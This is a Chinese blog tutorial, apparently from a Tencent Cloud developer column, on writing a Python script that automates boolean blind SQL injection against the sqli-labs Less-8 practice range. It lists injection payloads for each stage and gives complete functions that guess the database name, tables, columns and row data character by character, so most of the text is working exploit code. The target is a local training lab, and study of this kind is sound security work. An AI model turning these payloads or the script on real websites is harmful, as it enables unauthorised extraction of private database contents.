部署DeepSeek模型,进群交流最in玩法!
立即加群
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >用python写一个自动化盲注脚本

用python写一个自动化盲注脚本

作者头像
雪痕@
发布于 2021-11-09 08:55:34
发布于 2021-11-09 08:55:34
2.1K00
代码可运行
举报
文章被收录于专栏:代码审计代码审计
运行总次数:0
代码可运行
前言

当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行猜解。如果手工进行猜解,这就会有很大的工作量。所以这里就使用python写一个自动化脚本来进行猜解,靶场选择的是sqli-labs的第八关。 参考资料:《python安全攻防》

和盲注相关的payload

写脚本之前需要对盲注流程有一个了解。这样写脚本时,思路才不会乱。这里用sqli-labs的第八关举例。具体如下:

获取数据库长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

获取数据库名

substr:字符串截取函数,第一位截取,截取一位

连起来就是,截取数据库名第一位,并判断第一位的ascii值,是否等于115,如果为正确,直接返回。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23

获取数据库表的数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23

获取数据库表名称的长度

要注意limit,第一个参数的意思是从第几行开始,最低是0,第二个参数是截取几行。这里1是一行的意思。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23

获取数据库表名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23

获取表的字段数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23

获取字段的长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23

获取表的字段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23

获取字段数据的数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23

获取字段数据的长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23

获取字段数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23
盲注脚本相关函数讲解

首先编写主函数,用来调用各个函数,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#盲注主函数

def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+] 数据库 {0} 的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1 ) + ")" + DBTables[item])
    tableIndex = int(input("[*] 请输入要查看的表的序号 :")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+] 数据表 {0} 的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*] 请输入 要查看的字段的序号(输入0退出):")) - 1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

接着,我们需要获取数据库名,最后得到的结果存入DBName

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库名函数
def GetDBName(url):
    #引用全局变量DBName
    global DBName
    print("[-] 开始获取数据库的长度")
    #保存数据库长度的变量
    DBNameLen = 0
    #用于检查数据库长度的payload
    payload =  "' and if(length(database())={0},1,0) %23 "
    #把url和payload进行拼接,得到最终请求url
    targetUrl = url + payload
    print(targetUrl)
    #用for循环遍历请求,得到数据库名的长度
    for DBNameLen in range(1,99):
        #对payload的中的参数进行赋值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        #判断flag是否在返回的页面中
        if flag in res.content.decode("utf-8"):
            print('进来了吗')
            print("[+] 数据库名的长度:"+ str(DBNameLen))
            break
    print("[-] 开始获取数据库名")
    #获取数据库名的payload
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    #a表示substr()函数的截取位置
    for a in range(1,DBNameLen+1):
        #b表示在ascii码中33126 位可显示的字符
        for b in range(33,127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

获取数据库名的效果如下图

当我们得到数据库名时,就可以去猜解表名。并把结果以列表形式存入DBTables

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库表函数
def GetDBTables(url, dbname):
    global DBTables
    #存放数据库表数量的变量
    DBTableCount = 0
    print("[-] 开始获取 {0} 数据库表数量:".format(dbname))
    #获取数据库表数量的payload
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    #开始遍历获取数据库表的数量
    for DBTableCount in range(1,99):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    #遍历表名时临时存放表名长度的变量
    tableLen = 0
    #a表示当前正在获取表的索引
    for a in range(0,DBTableCount):
        print("[-]正在获取第{0}个表名".format(a+1))
        #先获取当前表名的长度
        for tableLen in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #开始获取表名
        #临时存放当前表名的变量
        table = ""
        #b表示当前表名猜解的位置(substr)
        for b in range(1,tableLen+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c 表示在ascii码中33126位可显示字符
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode("utf-8"):
                    table +=chr(c)
                    print(table)
                    break
        #把获取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用来继续获取下一个表名
        table = ""

获取数据库表名的效果如下:

根据上面获取到的数据库名,表名,接着来获取表的字段。并把结果以列表的形式存入DBColumns

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #存放字段数量的变量
    DBColumnCount = 0
    print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
     #开始获取字段的名称
     #保存字段名的临时变量
    column = ""
    # a 表示当前获取字段的索引
    for a in range(0,DBColumnCount):
        print("[-]正在获取第{0} 个字段名".format(a+1))
        #先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b表示当前字段名猜解的位置
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c 表示在ascii表的33126位可显示字符
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #把获取到的字段加入DBCloumns
        DBColumns.append(column)
        #清空column,用来继续获取下一个字段名
        column = ""

获取表的字段效果如下:

然后,就可以获取到数据了。根据获取的URL,数据库表名和数据表字段来获取数据。数据以字典形式存放,键为字段名,值为数据形成的列表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取表字段的函数
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    #先获取字段的数据数量
    DBDataCount = 0
    print("[-]开始获取 {0} 表 {1} 字段的数据数量".format(dbtable,dbcolumn))
    for DBDataCount in range(99):
        payload = "' and if((select count({0}) from {1})={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
            break
    for a in range(0,DBDataCount):
        print("[-] 正在获取{0} 的 第{1} 个数据".format(dbcolumn,a+1))
        #先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
                break
        #临时存放数据内容变量
        data = ""
        #开始获取数据具体内容
        #b表示当前数据内容的猜解的位置
        for b in range(1,dataLen+1):
            for c in range(33,127):
                payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    data +=chr(c)
                    print(data)
                    break
        #放到以字段名为健,值为列表的字典中
        DBData.setdefault(dbcolumn,[]).append(data)
        print(DBData)
        #把data清空,继续获取下一个数据
        data = ""

获取数据的效果如下:

最后,编写主函数,传入URL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#入口,主函数
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    #目标URL参数 -u
    parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
    (options,args) = parser.parse_args()
    StartSqli(options.targetURL)
小结

关于盲注的自动化脚本就写这么多,如有错误请斧正。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-11-03 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Nature | 深度学习驱动的蛋白-配体表面靶向策略
蛋白质之间的分子识别事件驱动着生物系统中的生命过程。然而,近年来研究发现,蛋白-蛋白相互作用受小分子调控的机制也在不断被揭示。尽管该领域取得了一定进展,但用于设计新型化学诱导的蛋白相互作用的计算工具仍然面临挑战。本研究中,研究人员提出了一种计算策略,旨在设计可靶向新表面(即由蛋白-配体复合物形成的表面)的蛋白质。该策略采用基于分子表面表示学习的几何深度学习方法,并在实验中验证了三种药物结合的蛋白复合物的结合蛋白。实验结果表明,所有结合蛋白均表现出高亲和力和精准特异性,并通过突变分析和结构表征进行了验证。值得注意的是,最初仅在蛋白质上训练的表面指纹可推广应用于由小分子诱导的新表面,这一发现展示了深度学习方法中罕见的高泛化能力。预计,这类设计的化学诱导蛋白相互作用将有助于拓展分子传感功能,并在合成生物学中推动新型药物可控细胞治疗策略的开发。
DrugAI
2025/02/06
940
Nature | 深度学习驱动的蛋白-配体表面靶向策略
Nat. Commun. | 蛋白质序列表示学习
今天给大家介绍的文章是哥本哈根大学计算机科学系 Wouter Boomsma 等人发表在 Nature Communications 上的文章 Learning meaningful representations of protein sequences。在本文中,作者探索了迁移学习和可解释性学习中的表示。在迁移学习中,作者证明了现在的一些实践只能产生次优的结果。在可解释性学习中,把几何信息考虑在内有助于提升可解释性,并且可以帮助模型揭示被掩盖的生物信息。
DrugAI
2022/06/10
4500
Nat. Commun. | 蛋白质序列表示学习
JACS Au|基于深度学习发现用于寡核苷酸递送的细胞穿膜短肽
2021年10月6日,Journal of the American Chemical Society Au杂志发表文章,介绍了一种利用深度学习设计细胞穿膜肽(CPPs)的方法。
智药邦
2022/03/04
1.3K0
JACS Au|基于深度学习发现用于寡核苷酸递送的细胞穿膜短肽
Nat. Commun. | CodonTransformer:使用上下文感知神经网络的多物种密码子优化器
今天为大家介绍的是来自法国索邦大学Amir Pandi与Ariel B. Lindner团队的一篇论文。遗传密码具有简并性,这意味着多种不同的DNA序列可以编码同一种蛋白质。然而,为特定生物体优化密码子(codon)使用时,可能的组合数量庞大,使得这一任务极具挑战性。幸运的是,自然界中经过进化优化的序列为机器学习算法提供了宝贵的学习资源。作者提出了CodonTransformer,这是一个多物种深度学习模型,它通过分析来自164个涵盖生命所有领域生物体的超过100万对DNA-蛋白质序列进行训练。借助Transformer架构和创新的序列表示方法(结合了生物体、氨基酸和密码子编码),该模型展现出优秀的上下文理解能力。CodonTransformer能够生成针对特定宿主的DNA序列,这些序列不仅具有接近自然的密码子分布特征,还最大限度地减少了不良的顺式调控元件。研究团队还提出了共享Token表示和编码与对齐多重掩码(STREAM)策略,并开发了一个可定制的开源模型和用户友好的Google Colab界面,使研究人员能够轻松进行密码子优化,为基因设计和合成生物学提供了实用工具。
DrugAI
2025/05/08
1500
Nat. Commun. | CodonTransformer:使用上下文感知神经网络的多物种密码子优化器
Sci. Adv. | 挑战"难成药"蛋白,PepPrCLIP设计精准结合肽
今天为大家介绍的是来自美国杜克大学Pranam Chatterjee团队的一篇论文。设计结合剂以靶向难成药蛋白在药物研发中是一项重大挑战。在本研究中,作者提供了一个算法框架,用于设计短小、能与靶点结合的线性肽,仅需靶蛋白的氨基酸序列。为此,作者提出了一个通过ESM-2蛋白质语言模型的肽潜在空间高斯扰动来生成自然状态肽候选物的过程,随后通过基于对比语言-图像预训练(CLIP)的对比学习架构筛选这些新序列的靶点选择性相互作用活性。通过整合这些生成性和判别性步骤,作者创建了一个通过CLIP进行肽优先排序(PepPrCLIP)的流程,并通过实验验证了高排名、靶点特异性肽的有效性,包括作为抑制性肽和与E3泛素连接酶域的融合。PepPrCLIP衍生的构建体在体外展示了对构象多样、疾病驱动靶点的功能性强结合和降解能力。总体而言,PepPrCLIP使得调控先前无法接触的蛋白成为可能,而无需依赖稳定有序的三级结构。
DrugAI
2025/03/03
720
Sci. Adv. | 挑战"难成药"蛋白,PepPrCLIP设计精准结合肽
Small:具有内在抗癌靶向特性的纳米级多孔氨基酸模拟物
氨基酸的外来来源是促进癌症生长的重要营养元素。本文非常规地利用癌细胞对氨基酸的需求增加作为一种设计原理,以利用诱导凋亡的纳米级多孔氨基酸模拟物(Nano-PAAM)来靶向癌细胞。合成了9个必需氨基酸纳米共轭物(30 nm),并评估了体外抗癌活性。其中1-苯丙氨酸官能团化的Nano-pPAAM是具有优异的内在抗癌和癌症选择特性的Nano-PAAM。
JoJo_Beatles
2021/02/04
3340
Small:具有内在抗癌靶向特性的纳米级多孔氨基酸模拟物
Nature子刊:生物合成硝基化蛋白,助力解决药物免疫耐受!
氨基酸是蛋白质的单个构建模块,对生物系统的正常运转至关重要。所有生物系统中的蛋白质都是由20种标准氨基酸组成的,自然界中还发现了超过500种不同类型的其他氨基酸,以及大量的人造氨基酸。其中一些替代氨基酸有助于创造新类型的药物和治疗方法。
生信宝典
2023/08/30
2250
Nature子刊:生物合成硝基化蛋白,助力解决药物免疫耐受!
Nat. Commun. | 借助机器学习设计和筛选合成细胞中新兴蛋白质功能
今天为大家介绍的是来自Petra Schwille团队的一篇论文。最近,机器学习(ML)的应用为计算蛋白质设计领域带来了惊人的进步,使得针对工业和生物医药应用的蛋白质定向工程设计成为可能。然而,为细胞核心相关的新兴功能设计蛋白质,比如能够在时空上自组织并因此构建细胞空间的能力,仍然极具挑战。虽然在生成方面,条件生成模型和多状态设计正在兴起,但对于新兴功能而言,无论是计算上还是实验上,都缺乏专门为蛋白质设计项目所需的筛选方法。在这里作者展示了如何为机器学习生成的蛋白质变体实现这种筛选,这些蛋白质变体能在细胞内形成时空模式。对于计算筛选,作者采用了一种基于结构的分而治之方法来找到最有希望的候选者,而对于随后的体外筛选,作者使用了由自下而上的合成生物学建立的合成细胞模拟体。
DrugAI
2024/04/12
2150
Nat. Commun. | 借助机器学习设计和筛选合成细胞中新兴蛋白质功能
Nat. Chem. | 通过深度学习设计靶向核的非生物微蛋白
今天带来的是Carly K. Schissel发表在nature chemistry上的Deep learning to design nuclear-targeting abiotic miniproteins。现如今,巨大的氨基酸排列组合空间阻碍了人们通过传统方法进行功能性聚合物的设计。本文将展示利用高通量实验与受定向进化启发的深度学习方法相结合,并把自然和非自然残基的分子结构表示为拓扑指纹,重新设计非天然穿膜微蛋白(该微蛋白将反义二酰胺基磷酸酯吗啉代寡聚体 (PMO) 输送到细胞核)。结果表明,深度学习可以破译设计原则,以生成不太可能通过经验方法发现的高活性生物分子。
DrugAI
2021/08/24
4930
Nat. Commun.| 使用自回归生成模型进行蛋白质设计和变体预测
今天给大家介绍哈佛大学Andrew C. Kruse教授团队在Nature Communications上发表的一篇文章“Protein design and variant prediction using autoregressive generative models”。在该文章中,作者开发了一种新的自回归生成模型,用于预测和设计蛋白质功能序列,并且无需序列比对。实验结果表明,该模型能够很好地预测错义突变,序列片段的插入和缺失,并且能够泛化到超出了预测和设计范围的序列空间域。
DrugAI
2021/05/24
1.3K0
Nat. Commun.| 使用自回归生成模型进行蛋白质设计和变体预测
Nat. Biomed. Eng.| IBM利用深度生成模型和分子动力学模拟加速抗菌肽发现
今天给大家介绍的是来自IBM Thomas J. Watson研究中心的研究人员近日发表在Nature Biomedical Engineering上的一篇论文。论文中,作者提出了一种可以产生特定属性抗菌药的高效计算方法。该方法利用了在深度生成式自动编码器建模的分子的信息潜空间上训练的分类器的指导,并使用深度学习分类器和从高通量分子动力学模拟中得出的物理化学特征来筛选生成的分子。作者以抗菌肽(antimicrobial peptide ,AMP)作为设计对象,在48天内,鉴定、合成和实验测试了20种候选抗菌肽,其中,有两种抗菌肽(YI12和FK13)极具治疗潜力。
智能生信
2021/03/19
1.4K0
Nat. Biomed. Eng.| IBM利用深度生成模型和分子动力学模拟加速抗菌肽发现
Nat. Commun.|概率蛋白质序列模型的生成能力
本文介绍了由坦普尔大学Vincenzo Carnevale和Allan Haldane共同通讯发表在Nature Communications的研究成果:本文提出了一个新的标准来度量蛋白质序列生成模型(GPSM)的准确性和生成能力,并使用该标准比较了不同GPSM的生成能力。与之前的度量标准相比,能够直接测量高阶边缘值,衡量GPSM捕获高阶协变的能力,对GPSM的准确性和生成能力有更加直接和科学的度量。
DrugAI
2021/12/09
6120
Nat. Commun.|概率蛋白质序列模型的生成能力
Nat. Commun. | arDCA:基于自回归模型的高效蛋白质序列生成模型
今日分享的是巴黎索邦大学、都灵理工大学和巴黎高等师范学院联合发表的文章,该篇文章介绍了一个基于简单自回归模型的蛋白质序列高效生成模型。生成模型的优越性表现在不仅可以设计基于序列数据的蛋白质,也可以提取深深地隐藏在序列数据库中蛋白质的结构和功能信息。本文提出了基于简单自回归模型的高准确率、高计算效率的序列生成模型。其性能类似于现有的基于玻尔兹曼机或深度生成模型的方法,但计算成本大大降低。此外,该模型的简单结构具有独特的数学优势,提高了在序列生成和评估上的适用性。
DrugAI
2021/11/15
6670
Nat. Commun. | arDCA:基于自回归模型的高效蛋白质序列生成模型
Nat. Commun. | 靶标感知分子生成模型TamGen
生成式药物设计是一种创新的药物设计方法,它在不依赖现有模板或分子骨架的前提下生成具有特定性质的化合物。与基于筛选的方法(如高通量筛选和虚拟筛选等)相比,该方法突破了现有分子库的局限性,为发现那些尚未被充分研究的化合物类别及全新化合物提供了可能。近年来,越来越多的方法被提出用于指导基于靶蛋白信息的分子生成,包括自回归模型、生成对抗网络(GAN)、变分自编码器(VAE)和扩散模型等。虽然这些方法生成的化合物通常展现出较好的多样性和新颖性,但在物理化学性质方面往往不尽如人意。因此,尽管分子生成模型在理论上具有探索广阔化学空间的潜力,但在生成具有实际应用价值的化合物方面仍面临诸多挑战。
DrugAI
2025/02/05
1450
Nat. Commun. | 靶标感知分子生成模型TamGen
Nat Biotechnol|通过机器学习发现抗生素
2022年5月6日,Nat Biotechnol发表文章,评述了3月份发表在该期刊上的来自中国科学院微生物研究所王军和陈义华等人的研究工作。
智药邦
2022/06/08
3820
Nat Biotechnol|通过机器学习发现抗生素
ACS Nano | 基于计算机的抗菌肽发现框架
抗生素耐药性,是人类社会中最严重的医疗问题之一,目前每年在欧洲造成超过2.5万人死亡,在美国造成3.5万人死亡。几十年来,具有抗菌素耐药性的微生物数量一直在增加。这些微生物引起的感染缺乏有效的治疗方案。在过去几十年里,人们发现抗生素缺乏,严重影响了经济和人类的福祉。因此,当前重要的是,人类必须开发出能够对抗耐多药微生物,并减缓抗生素耐药性的进化和传播的抗菌素。
DrugScience
2021/03/18
1.2K0
ACS Nano | 基于计算机的抗菌肽发现框架
Nat. Commun. | 基于序列的预测方法可以准确判断含有非天然氨基酸肽的内在溶解度
今天为大家介绍的是来自Pietro Sormanni和Michele Vendruscolo团队的一篇论文。非天然氨基酸能扩展化学空间,定制肽类药物的功能、半衰期和其他关键属性。尽管含有修饰氨基酸(如经过翻译后修饰的残基)的化学空间极大,但实验测量含修饰氨基酸肽的开发性质既昂贵又耗时。为了通过计算方法促进开发性项目,作者提出了CamSol-PTM方法。这种方法能快速、可靠地基于序列预测含修饰氨基酸肽在室温下水溶液中的内在溶解度。
DrugAI
2023/12/26
3250
Nat. Commun. | 基于序列的预测方法可以准确判断含有非天然氨基酸肽的内在溶解度
西湖大学利用 Transformer 分析百亿多肽的自组装特性,破解自组装法则
多肽是两个以上氨基酸通过肽键组成的生物活性物质,可以通过折叠、螺旋形成更高级的蛋白质结构。多肽不仅与多个生理活动相关联,还可以自组装成纳米粒子,参与到生物检测、药物递送、组织工程中。
HyperAI超神经
2023/10/24
3140
西湖大学利用 Transformer 分析百亿多肽的自组装特性,破解自组装法则
生物信息学数据库及在线工具汇总 (更新)
文章目录 核酸数据库 非编码RNA数据库 1.非编码小RNA数据库 2.长非编码RNA数据库: 3.非编码RNA家族数据库 4.非编码RNA序列数据库 蛋白质数据库 0.蛋白质信息 1.蛋白序列数据库 2.蛋白质结构数据库 3.蛋白组数据库 4.蛋白质功能域数据库 5.蛋白互作数据库 代谢数据库 1.代谢途径数据库 2.代谢组学常用数据库 3.表型数据库 序列比对 1.序列与数据库比对 2.多序列间比对 3.序列进化树分析 基因分析 0.基因信息 1.基因注释 2.基因功能预测: 3.基因结
白墨石
2021/01/13
2.5K0
Nat. Biotechnol.|基于深度学习从人体肠道微生物群中识别抗菌肽
本文介绍了中国科学院微生物研究所王军及陈义华共同通讯发表在Nature Biotechnology的文章《Identification of antimicrobial peptides from the human gut microbiome using deep learning》。作者结合了包括LSTM、Attention和BERT在内的多种自然语言处理神经网络模型,形成了一个统一的管道,用于从人类肠道微生物组数据中识别候选抗菌肽(AMP)。在被确定为候选AMP的2349个序列中,化学合成了216个,其中显示出抗菌活性的有181个。并且,在这些多肽中,大多数与训练集中AMP的序列同源性低于40%。对11种最有效的AMP的进一步表征表明,它们对抗生素耐药的革兰氏阴性病原体具有很高的疗效,并且对细菌性肺部感染的小鼠模型显示出了细菌负荷降低10倍的效果。该研究展示了机器学习方法从宏基因组数据中挖掘功能肽并加速发现有前景的AMP候选分子以进行深入研究的潜力。
DrugAI
2022/03/25
6750
Nat. Biotechnol.|基于深度学习从人体肠道微生物群中识别抗菌肽
推荐阅读
Nature | 深度学习驱动的蛋白-配体表面靶向策略
940
Nat. Commun. | 蛋白质序列表示学习
4500
JACS Au|基于深度学习发现用于寡核苷酸递送的细胞穿膜短肽
1.3K0
Nat. Commun. | CodonTransformer:使用上下文感知神经网络的多物种密码子优化器
1500
Sci. Adv. | 挑战"难成药"蛋白,PepPrCLIP设计精准结合肽
720
Small:具有内在抗癌靶向特性的纳米级多孔氨基酸模拟物
3340
Nature子刊:生物合成硝基化蛋白,助力解决药物免疫耐受!
2250
Nat. Commun. | 借助机器学习设计和筛选合成细胞中新兴蛋白质功能
2150
Nat. Chem. | 通过深度学习设计靶向核的非生物微蛋白
4930
Nat. Commun.| 使用自回归生成模型进行蛋白质设计和变体预测
1.3K0
Nat. Biomed. Eng.| IBM利用深度生成模型和分子动力学模拟加速抗菌肽发现
1.4K0
Nat. Commun.|概率蛋白质序列模型的生成能力
6120
Nat. Commun. | arDCA:基于自回归模型的高效蛋白质序列生成模型
6670
Nat. Commun. | 靶标感知分子生成模型TamGen
1450
Nat Biotechnol|通过机器学习发现抗生素
3820
ACS Nano | 基于计算机的抗菌肽发现框架
1.2K0
Nat. Commun. | 基于序列的预测方法可以准确判断含有非天然氨基酸肽的内在溶解度
3250
西湖大学利用 Transformer 分析百亿多肽的自组装特性,破解自组装法则
3140
生物信息学数据库及在线工具汇总 (更新)
2.5K0
Nat. Biotechnol.|基于深度学习从人体肠道微生物群中识别抗菌肽
6750
相关推荐
Nature | 深度学习驱动的蛋白-配体表面靶向策略
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验